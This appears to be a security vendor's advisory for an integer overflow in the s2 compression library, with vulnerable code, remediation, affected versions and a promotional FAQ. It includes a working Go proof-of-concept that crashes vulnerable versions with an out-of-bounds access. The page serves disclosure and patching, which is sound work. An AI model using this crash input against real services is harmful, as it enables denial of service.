CVE-2026-63209

Compress/s2: Integer Overflow or Wraparound and Out-of-bounds Write in compress

r, n := binary.Uvarint(dict)
// ...
d.repeat = int(r)
if d.repeat > len(dict) {
    return nil
}

repeat := len(dict.dict) - dict.repeat  // overflows: 62 - (-5758978476775341977) = huge positive
candidate := len(dict.dict) - repeat + s // underflows to negative
load32(dict.dict, candidate)             // OOB via unsafe.Pointer

func Load32[I Indexer](b []byte, i I) uint32 {
    return *(*uint32)(unsafe.Add(unsafe.Pointer(unsafe.SliceData(b)), i))
}

package main

import (
    "encoding/binary"
    "fmt"
    "github.com/klauspost/compress/s2"
)

func main() {
    var dictData []byte
    buf := make([]byte, binary.MaxVarintLen64)
    n := binary.PutUvarint(buf, 12687765596934209639) // > MaxInt64
    dictData = append(dictData, buf[:n]...)
    dictData = append(dictData, make([]byte, 16)...) // minimum dict size

    dict := s2.NewDict(dictData)
    // dict is non-nil despite invalid repeat value (overflow bypassed validation)

    src := make([]byte, 64)
    for i := range src { src[i] = byte(i) }
    dict.Encode(nil, src) // SIGSEGV: OOB access via unsafe.Pointer
}

• Denial of Service: The process crashes immediately with SIGSEGV

An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value. Typical impact: incorrect size calculations leading to heap overflows or logic errors.

CVE-2026-63209 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.18.7); upgrading removes the vulnerable code path.

Kodem intelligence

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Validate the uvarint value before converting to int:

if r > math.MaxInt64 {
    return nil
}
d.repeat = int(r)

Or use uint for the repeat field and validate against uint(len(dict)).

1. What is CVE-2026-63209? CVE-2026-63209 is a high-severity integer overflow or wraparound vulnerability in github.com/klauspost/compress (go), affecting versions <= 1.18.6. It is fixed in 1.18.7. An arithmetic operation produces a value that exceeds the integer type's maximum, causing it to wrap to an unexpected small value.
2. How severe is CVE-2026-63209? CVE-2026-63209 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/klauspost/compress are affected by CVE-2026-63209? github.com/klauspost/compress (go) versions <= 1.18.6 is affected.
4. Is there a fix for CVE-2026-63209? Yes. CVE-2026-63209 is fixed in 1.18.7. Upgrade to this version or later.
5. Is CVE-2026-63209 exploitable, and should I be worried? Whether CVE-2026-63209 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-63209 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-63209? Upgrade github.com/klauspost/compress to 1.18.7 or later.